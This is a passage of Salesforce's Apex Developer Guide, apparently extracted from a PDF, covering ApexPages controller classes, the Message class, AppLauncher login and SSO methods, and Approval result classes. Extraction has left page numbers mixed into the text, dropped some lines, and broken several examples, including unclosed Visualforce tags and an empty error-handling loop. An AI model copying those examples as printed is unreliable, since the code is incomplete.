public MyIdeaListExtension (ApexPages.IdeaStandardSetController controller) {

ideaSetController = (ApexPages.IdeaStandardSetController)controller;
}
public List<Idea> getModifiedIdeas() {

Idea[] ideas = ideaSetController.getIdeaList();
// modify ideas here
return ideas;
632
}
}
The following Visualforce markup shows how the IdeaStandardSetController example shown above can be used with the
<ideas:listOutputLink> component to display a list of recent, top, and most popular ideas and comments. This page must
be named listPage in order for this example to work:

<apex:page standardController="Idea" extensions="MyIdeaListExtension"
recordSetVar="ideaSetVar">
<apex:pageBlock >
<ideas:listOutputLink sort="recent" page="listPage">Recent Ideas
</ideas:listOutputLink>
|
<ideas:listOutputLink sort="top" page="listPage">Top Ideas
|
<ideas:listOutputLink sort="popular" page="listPage">Popular Ideas
|
<ideas:listOutputLink sort="comments" page="listPage">Recent Comments
</apex:pageBlock>
<apex:pageBlock >
<apex:dataList value="{!modifiedIdeas}" var="ideadata">
<ideas:detailoutputlink ideaId="{!ideadata.id}" page="viewPage">
{!ideadata.title}</ideas:detailoutputlink>
</apex:dataList>
</apex:pageBlock>
</apex:page>
In the previous example, the <ideas:detailoutputlink> component links to the following Visualforce markup that displays
the detail page for a specific idea. This page must be named viewPage.

<apex:page standardController="Idea">
<ideas:detailOutputLink page="viewPage" ideaId="{!idea.id}">{!idea.title}
<br/><br/>
<apex:outputText>{!idea.body}</apex:outputText>
</apex:pageBlock>
</apex:page>
SEE ALSO:
IdeaStandardSetController Methods
The following are instance methods for IdeaStandardSetController.
633
IN THIS SECTION:
getIdeaList()
Returns the list of read-only ideas in the current page set.
getIdeaList()
Returns the list of read-only ideas in the current page set.
Signature
public Idea[] getIdeaList()
Return Value
Type: Idea[]
Usage
You can use the <ideas:listOutputLink>, <ideas:profileListOutputLink>, and
<ideas:detailOutputLink> components to display profile pages as well as idea list and detail pages (see the examples below).
The following is a list of properties returned by this method:
• Body
• Categories
• Category
• CreatedBy.CommunityNickname
• CreatedBy.Id
• CreatedDate
• Id
• LastCommentDate
• LastComment.Id
• LastComment.CommentBody
• LastComment.CreatedBy.CommunityNickname
• LastComment.CreatedBy.Id
• NumComments
• Status
• Title
• VoteTotal
KnowledgeArticleVersionStandardController Class
KnowledgeArticleVersionStandardController objects offer article-specific functionality in addition to what is provided
by the StandardController.
634
Namespace
ApexPages
Usage
In addition to the method listed above, the KnowledgeArticleVersionStandardController class inherits all the methods
associated with StandardController.
Note: Though inherited, the edit, delete, and save methods don't serve a function when used with the
KnowledgeArticleVersionStandardController class.
Example
The following example shows how a KnowledgeArticleVersionStandardController object can be used to create a
custom extension controller. In this example, you create a class named AgentContributionArticleController that allows
customer-support agents to see pre-populated fields on the draft articles they create while closing cases.
Prerequisites:
1. Create an article type called FAQ. For instructions, see “Create Article Types” in the Salesforce online help.
2. Create a text custom field called Details. For instructions, see “Add Custom Fields to Article Types” in the Salesforce online help.
3. Create a category group called Geography and assign it to a category called USA. For instructions, see “Create and Modify
Category Groups” and “Add Data Categories to Category Groups” in the Salesforce online help.
4. Create a category group called Topics and assign it a category called Maintenance.
/** Custom extension controller for the simplified article edit page that
appears when an article is created on the close-case page.
*/
public class AgentContributionArticleController {
// The constructor must take a ApexPages.KnowledgeArticleVersionStandardController as
an argument
public AgentContributionArticleController(
ApexPages.KnowledgeArticleVersionStandardController ctl) {
// This is the SObject for the new article.
//It can optionally be cast to the proper article type.
// For example, FAQ__kav article = (FAQ__kav) ctl.getRecord();
SObject article = ctl.getRecord();
// This returns the ID of the case that was closed.
String sourceId = ctl.getSourceId();
Case c = [SELECT Subject, Description FROM Case WHERE Id=:sourceId];
// This overrides the default behavior of pre-filling the

// title of the article with the subject of the closed case.
article.put('title', 'From Case: '+c.subject);
article.put('details__c',c.description);
// Only one category per category group can be specified.

ctl.selectDataCategory('Geography','USA');
ctl.selectDataCategory('Topics','Maintenance');
635
}
}
/** Test class for the custom extension controller.

*/
@isTest
private class AgentContributionArticleControllerTest {
static testMethod void testAgentContributionArticleController() {
String caseSubject = 'my test';
String caseDesc = 'my test description';
Case c = new Case();

c.subject= caseSubject;
c.description = caseDesc;
insert c;
String caseId = c.id;
System.debug('Created Case: ' + caseId);
ApexPages.currentPage().getParameters().put('sourceId', caseId);
ApexPages.currentPage().getParameters().put('sfdc.override', '1');
ApexPages.KnowledgeArticleVersionStandardController ctl =
new ApexPages.KnowledgeArticleVersionStandardController(new FAQ__kav());
new AgentContributionArticleController(ctl);
System.assertEquals(caseId, ctl.getSourceId());
System.assertEquals('From Case: '+caseSubject, ctl.getRecord().get('title'));
System.assertEquals(caseDesc, ctl.getRecord().get('details__c'));
}
}
If you created the custom extension controller for the purpose described in the previous example (that is, to modify submitted-via-case
articles), complete the following steps after creating the class:
1. Log into your Salesforce organization and from Setup, enter Knowledge Settings in the Quick Find box, then select
Knowledge Settings.
2. Click Edit.
3. Assign the class to the Use Apex customization field. This associates the article type specified in the new class with the
article type assigned to closed cases.
4. Click Save.
IN THIS SECTION:
KnowledgeArticleVersionStandardController Constructors
KnowledgeArticleVersionStandardController Methods
SEE ALSO:
636
KnowledgeArticleVersionStandardController Constructors
The following are constructors for KnowledgeArticleVersionStandardController.
IN THIS SECTION:
KnowledgeArticleVersionStandardController(article)
Creates a new instance of the ApexPages.KnowledgeArticleVersionStandardController class using the
specified knowledge article.
KnowledgeArticleVersionStandardController(article)
Creates a new instance of the ApexPages.KnowledgeArticleVersionStandardController class using the specified
knowledge article.
Signature
public KnowledgeArticleVersionStandardController(SObject article)
Parameters
article
Type: SObject
The knowledge article, such as FAQ_kav.
KnowledgeArticleVersionStandardController Methods
The following are instance methods for KnowledgeArticleVersionStandardController.
IN THIS SECTION:
getSourceId()
Returns the ID for the source object record when creating a new article from another object.
setDataCategory(categoryGroup, category)
Specifies a default data category for the specified data category group when creating a new article.
getSourceId()
Returns the ID for the source object record when creating a new article from another object.
Signature
public String getSourceId()
Return Value
Type: String
637
setDataCategory(categoryGroup, category)
Specifies a default data category for the specified data category group when creating a new article.
Signature
public Void setDataCategory(String categoryGroup, String category)
Parameters
categoryGroup
Type: String
category
Type: String
Return Value
Type: Void
Message Class
Contains validation errors that occur when the end user saves the page when using a standard controller.
Namespace
ApexPages
Usage
When using a standard controller, all validation errors, both custom and standard, that occur when the end user saves the page are
automatically added to the page error collections. If there is an inputField component bound to the field with an error, the message
is added to the components error collection. All messages are added to the pages error collection. For more information, see Validation
Rules and Standard Controllers in the Visualforce Developer's Guide.
If your application uses a custom controller or extension, you must use the message class for collecting errors.
Instantiation
In a custom controller or controller extension, you can instantiate a Message in one of the following ways:
638
• ApexPages.Message myMsg = new ApexPages.Message(ApexPages.severity, summary);
where ApexPages.severity is the enum that is determines how severe a message is, and summary is the String used to
summarize the message. For example:
ApexPages.Message myMsg = new ApexPages.Message(ApexPages.Severity.FATAL, 'my error
msg');
• ApexPages.Message myMsg = new ApexPages.Message(ApexPages.severity, summary, detail);
where ApexPages. severity is the enum that is determines how severe a message is, summary is the String used to
summarize the message, and detail is the String used to provide more detailed information about the error.
ApexPages.Severity Enum
Using the ApexPages.Severity enum values, specify the severity of the message. The following are the valid values:
• CONFIRM
• ERROR
• FATAL
• INFO
• WARNING
All enums have access to standard methods, such as name and value.
IN THIS SECTION:
Message Constructors
Message Methods
Message Constructors
The following are constructors for Message.
IN THIS SECTION:
Message(severity, summary)
Creates a new instance of the ApexPages.Message class using the specified message severity and summary.
Message(severity, summary, detail)
Creates a new instance of the ApexPages.Message class using the specified message severity, summary, and message detail.
Message(severity, summary, detail, id)
Creates a new instance of the ApexPages.Message class using the specified severity, summary, detail, and component ID.
Message(severity, summary)
Creates a new instance of the ApexPages.Message class using the specified message severity and summary.
Signature
public Message(ApexPages.Severity severity, String summary)
639
Parameters
severity
Type: ApexPages.Severity
The severity of a Visualforce message.
summary
Type: String
The summary Visualforce message.
Message(severity, summary, detail)

Creates a new instance of the ApexPages.Message class using the specified message severity, summary, and message detail.
Signature
public Message(ApexPages.Severity severity, String summary, String detail)
Parameters
severity
summary
Type: String
detail
Type: String
The detailed Visualforce message.
Message(severity, summary, detail, id)

Creates a new instance of the ApexPages.Message class using the specified severity, summary, detail, and component ID.
Signature
public Message(ApexPages.Severity severity, String summary, String detail, String id)
Parameters
severity
summary
Type: String
detail
Type: String
640
The detailed Visualforce message.

id
Type: String
The ID of the Visualforce component to associate with the message, for example, a form field with an error.
Message Methods
The following are methods for Message. All are instance methods.
IN THIS SECTION:
getComponentLabel()
Returns the label of the associated inputField component. If no label is defined, this method returns null.
getDetail()
Returns the value of the detail parameter used to create the message. If no detail String was specified, this method returns null.
getSeverity()
Returns the severity enum used to create the message.
getSummary()
Returns the summary String used to create the message.
getComponentLabel()
Returns the label of the associated inputField component. If no label is defined, this method returns null.
Signature
public String getComponentLabel()
Return Value
Type: String
getDetail()
Returns the value of the detail parameter used to create the message. If no detail String was specified, this method returns null.
Signature
public String getDetail()
Return Value
Type: String
getSeverity()
Returns the severity enum used to create the message.
641
Signature
public ApexPages.Severity getSeverity()
Return Value
getSummary()
Returns the summary String used to create the message.
Signature
public String getSummary()
Return Value
Type: String
Use a StandardController when defining an extension for a standard controller.
Namespace
ApexPages
Usage
StandardController objects reference the pre-built Visualforce controllers provided by Salesforce. The only time it is necessary to refer
to a StandardController object is when defining an extension for a standard controller. StandardController is the data type of the single
argument in the extension class constructor.
Instantiation
You can instantiate a StandardController in the following way:
ApexPages.StandardController sc = new ApexPages.StandardController(sObject);
Example
The following example shows how a StandardController object can be used in the constructor for a standard controller extension:
public class myControllerExtension {
private final Account acct;
// The extension constructor initializes the private member

// variable acct by using the getRecord method from the standard
// controller.
public myControllerExtension(ApexPages.StandardController stdController) {
642
this.acct = (Account)stdController.getRecord();
}
public String getGreeting() {

return 'Hello ' + acct.name + ' (' + acct.id + ')';
}
}
The following Visualforce markup shows how the controller extension from above can be used in a page:
<apex:page standardController="Account" extensions="myControllerExtension">
{!greeting} <p/>
<apex:form>
<apex:inputField value="{!account.name}"/> <p/>
<apex:commandButton value="Save" action="{!save}"/>
</apex:form>
</apex:page>
IN THIS SECTION:
StandardController Constructors
StandardController Methods
StandardController Constructors
The following are constructors for StandardController.
IN THIS SECTION:
StandardController(controllerSObject)
Creates a new instance of the ApexPages.StandardController class for the specified standard or custom object.
StandardController(controllerSObject)
Creates a new instance of the ApexPages.StandardController class for the specified standard or custom object.
Signature
public StandardController(SObject controllerSObject)
Parameters
controllerSObject
Type: SObject
A standard or custom object.
StandardController Methods
The following are methods for StandardController. All are instance methods.
643
IN THIS SECTION:
addFields(fieldNames)
When a Visualforce page is loaded, the fields accessible to the page are based on the fields referenced in the Visualforce markup.
This method adds a reference to each field specified in fieldNames so that the controller can explicitly access those fields as
well.
cancel()
Returns the PageReference of the cancel page.
delete()
Deletes record and returns the PageReference of the delete page.
edit()
Returns the PageReference of the standard edit page.
getId()
Returns the ID of the record that is currently in context, based on the value of the id query string parameter in the Visualforce page
URL.
getRecord()
Returns the record that is currently in context, based on the value of the id query string parameter in the Visualforce page URL.
reset()
Forces the controller to reacquire access to newly referenced fields. Any changes made to the record prior to this method call are
discarded.
save()
Saves changes and returns the updated PageReference.
view()
Returns the PageReference object of the standard detail page.
addFields(fieldNames)
When a Visualforce page is loaded, the fields accessible to the page are based on the fields referenced in the Visualforce markup. This
method adds a reference to each field specified in fieldNames so that the controller can explicitly access those fields as well.
Signature
public Void addFields(List<String> fieldNames)
Parameters
fieldNames
Type: List<String>
Return Value
Type: Void
Usage
This method should be called before a record has been loaded—typically, it's called by the controller's constructor. If this method is
called outside of the constructor, you must use the reset() method before calling addFields().
644
The strings in fieldNames can either be the API name of a field, such as AccountId, or they can be explicit relationships to fields,
such as foo__r.myField__c.
This method is only for controllers used by dynamicVisualforce bindings.
cancel()
Returns the PageReference of the cancel page.
Signature
public System.PageReference cancel()
Return Value
delete()
Deletes record and returns the PageReference of the delete page.
Signature
public System.PageReference delete()
Return Value
edit()
Returns the PageReference of the standard edit page.
Signature
public System.PageReference edit()
Return Value
getId()
Returns the ID of the record that is currently in context, based on the value of the id query string parameter in the Visualforce page
URL.
Signature
public String getId()
645
Return Value
Type: String
getRecord()
Returns the record that is currently in context, based on the value of the id query string parameter in the Visualforce page URL.
Signature
public SObject getRecord()
Return Value
Type: sObject
Usage
Note that only the fields that are referenced in the associated Visualforce markup are available for querying on this SObject. All other
fields, including fields from any related objects, must be queried using a SOQL expression.
Tip: You can work around this restriction by including a hidden component that references any additional fields that you want
to query. Hide the component from display by setting the component's rendered attribute to false.
Example
<apex:outputText
value="{!account.billingcity}
{!account.contacts}"
rendered="false"/>
reset()
Forces the controller to reacquire access to newly referenced fields. Any changes made to the record prior to this method call are
discarded.
Signature
public Void reset()
Return Value
Type: Void
Usage
This method is only used if addFields is called outside the constructor, and it must be called directly before addFields.
This method is only for controllers used by dynamicVisualforce bindings.
646
save()
Saves changes and returns the updated PageReference.
Signature
public System.PageReference save()
Return Value
view()
Returns the PageReference object of the standard detail page.
Signature
public System.PageReference view()
Return Value
StandardSetController objects allow you to create list controllers similar to, or as extensions of, the pre-built Visualforce list
controllers provided by Salesforce.
Namespace
ApexPages
Usage
The StandardSetController class also contains a prototype object. This is a single sObject contained within the Visualforce
StandardSetController class. If the prototype object's fields are set, those values are used during the save action, meaning that the values
are applied to every record in the set controller's collection. This is useful for writing pages that perform mass updates (applying identical
changes to fields within a collection of objects).
Note: Fields that are required in other Salesforce objects will keep the same requiredness when used by the prototype object.
Instantiation
You can instantiate a StandardSetController in either of the following ways:
• From a list of sObjects:
List<account> accountList = [SELECT Name FROM Account LIMIT 20];
ApexPages.StandardSetController ssc = new ApexPages.StandardSetController(accountList);
647
• From a query locator:

ApexPages.StandardSetController ssc =
new ApexPages.StandardSetController(Database.getQueryLocator([SELECT Name,CloseDate FROM
Opportunity]));
Note: The maximum record limit for StandardSetController is 10,000 records. Instantiating StandardSetController using a query
locator returning more than 10,000 records causes a LimitException to be thrown. However, instantiating StandardSetController
with a list of more than 10,000 records doesn’t throw an exception, and instead truncates the records to the limit.
Example
The following example shows how a StandardSetController object can be used in the constructor for a custom list controller:
public class opportunityList2Con {
// ApexPages.StandardSetController must be instantiated
// for standard list controllers
public ApexPages.StandardSetController setCon {
get {
if(setCon == null) {
setCon = new ApexPages.StandardSetController(Database.getQueryLocator(
[SELECT Name, CloseDate FROM Opportunity]));
}
return setCon;
}
set;
}
// Initialize setCon and return a list of records

public List<Opportunity> getOpportunities() {
return (List<Opportunity>) setCon.getRecords();
}
}
The following Visualforce markup shows how the controller above can be used in a page:
<apex:page controller="opportunityList2Con">
<apex:pageBlock>
<apex:pageBlockTable value="{!opportunities}" var="o">
<apex:column value="{!o.Name}"/>
<apex:column value="{!o.CloseDate}"/>
</apex:pageBlockTable>
</apex:pageBlock>
</apex:page>
IN THIS SECTION:
StandardSetController Constructors
StandardSetController Methods
StandardSetController Constructors
The following are constructors for StandardSetController.
648
IN THIS SECTION:
StandardSetController(queryLocator)
Creates an instance of the ApexPages.StandardSetController class for the list of objects returned by the query locator.
StandardSetController(controllerSObjects)
Creates an instance of the ApexPages.StandardSetController class for the specified list of standard or custom objects.
StandardSetController(queryLocator)
Creates an instance of the ApexPages.StandardSetController class for the list of objects returned by the query locator.
Signature
public StandardSetController(Database.QueryLocator queryLocator)
Parameters
queryLocator
Type: Database.QueryLocator
A query locator representing a list of sObjects.
StandardSetController(controllerSObjects)
Creates an instance of the ApexPages.StandardSetController class for the specified list of standard or custom objects.
Signature
public StandardSetController(List<sObject> controllerSObjects)
Parameters
controllerSObjects
Type: List on page 2619<sObject on page 2784>
A List of standard or custom objects.
Example
List<account> accountList = [SELECT Name FROM Account LIMIT 20];
ApexPages.StandardSetController ssc = new ApexPages.StandardSetController(accountList);
StandardSetController Methods
The following are methods for StandardSetController. All are instance methods.
IN THIS SECTION:
cancel()
Returns the PageReference of the original page, if known, or the home page.
649
first()
Returns the first page of records.
getCompleteResult()
Indicates whether there are more records in the set than the maximum record limit. If this is false, there are more records than you
can process using the list controller. The maximum record limit is 10,000 records.
getFilterId()
Returns the ID of the filter that is currently in context.
getHasNext()
Indicates whether there are more records after the current page set.
getHasPrevious()
Indicates whether there are more records before the current page set.
getListViewOptions()
Returns a list of the listviews available to the current user.
getPageNumber()
Returns the page number of the current page set. Note that the first page returns 1.
getPageSize()
Returns the number of records included in each page set.
getRecord()
Returns the sObject that represents the changes to the selected records. This retrieves the prototype object contained within the
class, and is used for performing mass updates.
getRecords()
Returns the list of sObjects in the current page set. This list is immutable, i.e. you can't call clear() on it.
getResultSize()
Returns the number of records in the set.
getSelected()
Returns the list of sObjects that have been selected.
last()
Returns the last page of records.
next()
Returns the next page of records.
previous()
Returns the previous page of records.
save()
Inserts new records or updates existing records that have been changed. After this operation is finished, it returns a PageReference
to the original page, if known, or the home page.
setFilterID(filterId)
Sets the filter ID of the controller.
setpageNumber(pageNumber)
Sets the page number.
setPageSize(pageSize)
Sets the number of records in each page set.
650
setSelected(selectedRecords)
Set the selected records.
cancel()
Returns the PageReference of the original page, if known, or the home page.
Signature
public System.PageReference cancel()
Return Value
first()
Returns the first page of records.
Signature
public Void first()
Return Value
Type: Void
getCompleteResult()
Indicates whether there are more records in the set than the maximum record limit. If this is false, there are more records than you can
process using the list controller. The maximum record limit is 10,000 records.
Signature
public Boolean getCompleteResult()
Return Value
Type: Boolean
getFilterId()
Returns the ID of the filter that is currently in context.
Signature
public String getFilterId()
Return Value
Type: String
651
getHasNext()
Indicates whether there are more records after the current page set.
Signature
public Boolean getHasNext()
Return Value
Type: Boolean
getHasPrevious()
Indicates whether there are more records before the current page set.
Signature
public Boolean getHasPrevious()
Return Value
Type: Boolean
getListViewOptions()
Returns a list of the listviews available to the current user.
Signature
public System.SelectOption getListViewOptions()
Return Value
Type: System.SelectOption[]
getPageNumber()
Returns the page number of the current page set. Note that the first page returns 1.
Signature
public Integer getPageNumber()
Return Value
Type: Integer
getPageSize()
Returns the number of records included in each page set.
652
Signature
public Integer getPageSize()
Return Value
Type: Integer
getRecord()
Returns the sObject that represents the changes to the selected records. This retrieves the prototype object contained within the class,
and is used for performing mass updates.
Signature
public sObject getRecord()
Return Value
Type: sObject
getRecords()
Returns the list of sObjects in the current page set. This list is immutable, i.e. you can't call clear() on it.
Signature
public sObject[] getRecords()
Return Value
Type: sObject[]
getResultSize()
Returns the number of records in the set.
Signature
public Integer getResultSize()
Return Value
Type: Integer
getSelected()
Returns the list of sObjects that have been selected.
Signature
public sObject[] getSelected()
653
Return Value
Type: sObject[]
last()
Returns the last page of records.
Signature
public Void last()
Return Value
Type: Void
next()
Returns the next page of records.
Signature
public Void next()
Return Value
Type: Void
previous()
Returns the previous page of records.
Signature
public Void previous()
Return Value
Type: Void
save()
Inserts new records or updates existing records that have been changed. After this operation is finished, it returns a PageReference to
the original page, if known, or the home page.
Signature
public System.PageReference save()
Return Value
654
setFilterID(filterId)
Sets the filter ID of the controller.
Signature
public Void setFilterID(String filterId)
Parameters
filterId
Type: String
Return Value
Type: Void
setpageNumber(pageNumber)
Sets the page number.
Signature
public Void setpageNumber(Integer pageNumber)
Parameters
pageNumber
Type: Integer
Return Value
Type: Void
setPageSize(pageSize)
Sets the number of records in each page set.
Signature
public Void setPageSize(Integer pageSize)
Parameters
pageSize
Type: Integer
Return Value
Type: Void
655
Apex Developer Guide AppLauncher Namespace
setSelected(selectedRecords)
Set the selected records.
Signature
public Void setSelected(sObject[] selectedRecords)
Parameters
selectedRecords
Type: sObject[]
Return Value
Type: Void
AppLauncher Namespace
The AppLauncher namespace provides methods for managing the appearance of apps in the App Launcher, including their visibility
and sort order.
The following class is in the AppLauncher namespace.
IN THIS SECTION:
AppMenu Class
Contains methods to set the appearance of apps in the App Launcher.
CommunityLogoController Class
Represents the logo of the community. For internal use only.
EmployeeLoginLinkController Class
Represents the link on the login form that employees can click to log in. For internal use only.
LoginFormController Class
Represents a login form. For internal use only.
SocialLoginController Class
Represents the social authentication providers configured for the community. For internal use only.
AppMenu Class
Contains methods to set the appearance of apps in the App Launcher.
Namespace
AppLauncher
IN THIS SECTION:
AppMenu Methods
656
AppMenu Methods
The following are methods for AppMenu.
IN THIS SECTION:
setAppVisibility(appMenuItemId, isVisible)
Shows or hides specific apps in the App Launcher.
setOrgSortOrder(appIds)
Sets the organization-wide default sort order for the App Launcher based on a List of app menu item IDs in the desired order.
setUserSortOrder(appIds)
Sets an individual user’s default sort order for the App Launcher based on a List of app menu item IDs in the desired order.
setAppVisibility(appMenuItemId, isVisible)
Shows or hides specific apps in the App Launcher.
Signature
public static void setAppVisibility(Id appMenuItemId, Boolean isVisible)
Parameters
appMenuItemId
Type: Id
The 15-character application ID value for an app. For more information, see the ApplicationId field for AppMenuItem or the
AppMenuItemId field for UserAppMenuItem in the SOAP API Developer Guide
isVisible
Type: Boolean
If true, the app is visible.
Return Value
Type: void
setOrgSortOrder(appIds)
Sets the organization-wide default sort order for the App Launcher based on a List of app menu item IDs in the desired order.
Signature
public static void setOrgSortOrder(List<Id> appIds)
Parameters
appIds
Type: List<Id>
A list of application ID values. For more information, see the ApplicationId field for AppMenuItem in the SOAP API Developer
Guide.
657
Return Value
Type: void
setUserSortOrder(appIds)
Sets an individual user’s default sort order for the App Launcher based on a List of app menu item IDs in the desired order.
Signature
public static void setUserSortOrder(List<Id> appIds)
Parameters
appIds
Type: List<Id>
A list of application ID values. For more information, see the AppMenuItemId field for UserAppMenuItem in the SOAP API Developer
Guide.
Return Value
Type: void
CommunityLogoController Class
Represents the logo of the community. For internal use only.
Namespace
AppLauncher
IN THIS SECTION:
CommunityLogoController Methods
CommunityLogoController Methods
The following are methods for CommunityLogoController.
IN THIS SECTION:
getCommunityName()
Returns the name of the community.
getLogoURL()
Returns the path to the page containing the community logo.
getCommunityName()
Returns the name of the community.
658
Signature
public static String getCommunityName()
Return Value
Type: String
getLogoURL()
Returns the path to the page containing the community logo.
Signature
public static String getLogoURL()
Return Value
Type: String
EmployeeLoginLinkController Class
Represents the link on the login form that employees can click to log in. For internal use only.
Namespace
AppLauncher
IN THIS SECTION:
EmployeeLoginLinkController Methods
EmployeeLoginLinkController Methods
The following are methods for EmployeeLoginLinkController.
IN THIS SECTION:
getEmployeeLoginUrl(startUrl)
Returns the path to the page that employees see after they log in.
getIsAllowInternalUserLoginEnabled()
Indicates whether an internal user is allowed to log in to the community.
getEmployeeLoginUrl(startUrl)
Returns the path to the page that employees see after they log in.
Signature
public static String getEmployeeLoginUrl(String startUrl)
659
Parameters
startUrl
Type: String
Path to the page that employees see after they log in.
Return Value
Type: String
getIsAllowInternalUserLoginEnabled()
Indicates whether an internal user is allowed to log in to the community.
Signature
public static Boolean getIsAllowInternalUserLoginEnabled()
Return Value
Type: Boolean
LoginFormController Class
Represents a login form. For internal use only.
Namespace
AppLauncher
IN THIS SECTION:
LoginFormController Methods
LoginFormController Methods
The following are methods for LoginFormController.
IN THIS SECTION:
getForgotPasswordUrl()
Returns the path to the forgot password form.
getIsSelfRegistrationEnabled()
Indicates whether the login form contains a link to a self-registration form.
getIsUsernamePasswordEnabled()
Indicates whether users can log in with a username and password.
getSelfRegistrationUrl()
Returns the path to the self-registration page.
660
login(username, password, startUrl)

Logs in the user with the provided username, password, and path to the page that users see after they log in.
Returns the path to the forgot password form.
Signature
public static String getForgotPasswordUrl()
Return Value
Type: String
getIsSelfRegistrationEnabled()
Indicates whether the login form contains a link to a self-registration form.
Signature
public static Boolean getIsSelfRegistrationEnabled()
Return Value
Type: Boolean
getIsUsernamePasswordEnabled()
Indicates whether users can log in with a username and password.
Signature
public static Boolean getIsUsernamePasswordEnabled()
Return Value
Type: Boolean
Returns the path to the self-registration page.
Signature
public static String getSelfRegistrationUrl()
Return Value
Type: String
661
login(username, password, startUrl)

Logs in the user with the provided username, password, and path to the page that users see after they log in.
Signature
public static String login(String username, String password, String startUrl)
Parameters
username
Type: String
The username.
password
Type: String
The password.
startUrl
Type: String
The path to the page that users see after they log in.
Return Value
Type: String
SocialLoginController Class
Represents the social authentication providers configured for the community. For internal use only.
Namespace
AppLauncher
IN THIS SECTION:
SocialLoginController Methods
SocialLoginController Methods
The following are methods for SocialLoginController.
IN THIS SECTION:
getSamlSsoUrl(startUrl, samlId)
Returns the URL to the SAML provider for the community.
getSsoUrl(startUrl, developerName)
Returns the single sign-on URL for the community.
662
Apex Developer Guide Approval Namespace
getSamlSsoUrl(startUrl, samlId)
Returns the URL to the SAML provider for the community.
Signature
public static String getSamlSsoUrl(String startUrl, String samlId)
Parameters
startUrl
Type: String
Path to the page that users see when they access the community.
samlId
Type: String
Unique identifier of the SAML provider.
Return Value
Type: String
getSsoUrl(startUrl, developerName)
Returns the single sign-on URL for the community.
Signature
public static String getSsoUrl(String startUrl, String developerName)
Parameters
startUrl
Type: String
Path to the page that users see when they access the community.
developerName
Type: String
Unique name of the authentication provider.
Return Value
Type: String
Approval Namespace
The Approval namespace provides classes and methods for approval processes.
The following are the classes in the Approval namespace.
663
IN THIS SECTION:
LockResult Class
The result of a record lock returned by a System.Approval.lock() method.
ProcessRequest Class
The ProcessRequest class is the parent class for the ProcessSubmitRequest and ProcessWorkitemRequest
classes. Use the ProcessRequest class to write generic Apex that can process objects from either class.
ProcessResult Class
After you submit a record for approval, use the ProcessResult class to process the results of an approval process.
ProcessSubmitRequest Class
Use the ProcessSubmitRequest class to submit a record for approval.
ProcessWorkitemRequest Class
Use the ProcessWorkitemRequest class for processing an approval request after it is submitted.
UnlockResult Class
The result of a record unlock, returned by a System.Approval.unlock() method.
LockResult Class
The result of a record lock returned by a System.Approval.lock() method.
Namespace
Approval
Usage
The System.Approval.lock() methods return Approval.LockResult objects. Each element in a LockResult array corresponds
to an element in the ID or sObject array passed as a parameter to a lock method. The first element in the LockResult array corresponds
to the first element in the ID or sObject array, the second element corresponds to the second element, and so on. If only one ID or sObject
is passed in, the LockResult array contains a single element.
Example
The following example obtains and iterates through the returned Approval.LockResult objects. It locks some queried accounts using
Approval.lock with a false second parameter to allow partial processing of records on failure. Next, it iterates through the
results to determine whether the operation was successful for each record. It writes the ID of every record that was processed successfully
to the debug log, or writes error messages and failed fields of the failed records.
// Query the accounts to lock
Account[] accts = [SELECT Id from Account WHERE Name LIKE 'Acme%'];
// Lock the accounts
Approval.LockResult[] lrList = Approval.lock(accts, false);

for(Approval.LockResult lr : lrList) {
if (lr.isSuccess()) {
System.debug('Successfully locked account with ID: ' + lr.getId());
}
664
else {
for(Database.Error err : lr.getErrors()) {
}
}
}
IN THIS SECTION:
LockResult Methods
SEE ALSO:
Approval Class
LockResult Methods
The following are methods for LockResult.
IN THIS SECTION:
getErrors()
If an error occurred, returns an array of one or more database error objects, providing the error code and description.
getId()
Returns the ID of the sObject you are trying to lock.
isSuccess()
A Boolean value that is set to true if the lock operation is successful for this object, or false otherwise.
getErrors()
Signature
public List<Database.Error> getErrors()
Return Value
Type: List<Database.Error>
getId()
Returns the ID of the sObject you are trying to lock.
Signature
public Id getId()
665
Return Value
Type: Id
Usage
If the field contains a value, the object was locked. If the field is empty, the operation was not successful.
isSuccess()
A Boolean value that is set to true if the lock operation is successful for this object, or false otherwise.
Signature
public Boolean isSuccess()
Return Value
Type: Boolean
ProcessRequest Class
The ProcessRequest class is the parent class for the ProcessSubmitRequest and ProcessWorkitemRequest
classes. Use the ProcessRequest class to write generic Apex that can process objects from either class.
Namespace
Approval
Usage
The request must be instantiated via the child classes, ProcessSubmitRequest and ProcessWorkItemRequest.
ProcessRequest Methods
The following are methods for ProcessRequest. All are instance methods.
IN THIS SECTION:
getComments()
Returns the comments that have been added previously to the approval request.
getNextApproverIds()
Returns the list of user IDs of user specified as approvers.
setComments(comments)
Sets the comments to be added to the approval request.
setNextApproverIds(nextApproverIds)
If the next step in your approval process is another Apex approval process, you specify exactly one user ID as the next approver. If
not, you cannot specify a user ID and this method must be null.
666
getComments()
Returns the comments that have been added previously to the approval request.
Signature
public String getComments()
Return Value
Type: String
getNextApproverIds()
Returns the list of user IDs of user specified as approvers.
Signature
public ID[] getNextApproverIds()
Return Value
Type: ID[]
setComments(comments)
Sets the comments to be added to the approval request.
Signature
public Void setComments(String comments)
Parameters
comments
Type: String
Return Value
Type: Void
setNextApproverIds(nextApproverIds)
If the next step in your approval process is another Apex approval process, you specify exactly one user ID as the next approver. If not,
you cannot specify a user ID and this method must be null.
Signature
public Void setNextApproverIds(ID[] nextApproverIds)
667
Parameters
nextApproverIds
Type: ID[]
Must be a single-entry list.
Return Value
Type: Void
ProcessResult Class
After you submit a record for approval, use the ProcessResult class to process the results of an approval process.
Namespace
Approval
Usage
A ProcessResult object is returned by the process method. You must specify the Approval namespace when creating an instance of
this class. For example:
ProcessResult Methods
The following are methods for ProcessResult. All are instance methods.
IN THIS SECTION:
getEntityId()
The ID of the record being processed.
getErrors()
If an error occurred, returns an array of one or more database error objects including the error code and description.
getInstanceId()
The ID of the approval process that has been submitted for approval.
getInstanceStatus()
The status of the current approval process. Valid values are: Approved, Rejected, Removed or Pending.
getNewWorkitemIds()
The IDs of the new items submitted to the approval process. There can be 0 or 1 approval processes.
isSuccess()
A Boolean value that is set to true if the approval process completed successfully; otherwise, it is set to false.
getEntityId()
The ID of the record being processed.
668
Signature
public String getEntityId()
Return Value
Type: String
getErrors()
If an error occurred, returns an array of one or more database error objects including the error code and description.
Signature
public Database.Error[] getErrors()
Return Value
Type: Database.Error[]
getInstanceId()
The ID of the approval process that has been submitted for approval.
Signature
public String getInstanceId()
Return Value
Type: String
getInstanceStatus()
The status of the current approval process. Valid values are: Approved, Rejected, Removed or Pending.
Signature
public String getInstanceStatus()
Return Value
Type: String
getNewWorkitemIds()
The IDs of the new items submitted to the approval process. There can be 0 or 1 approval processes.
Signature
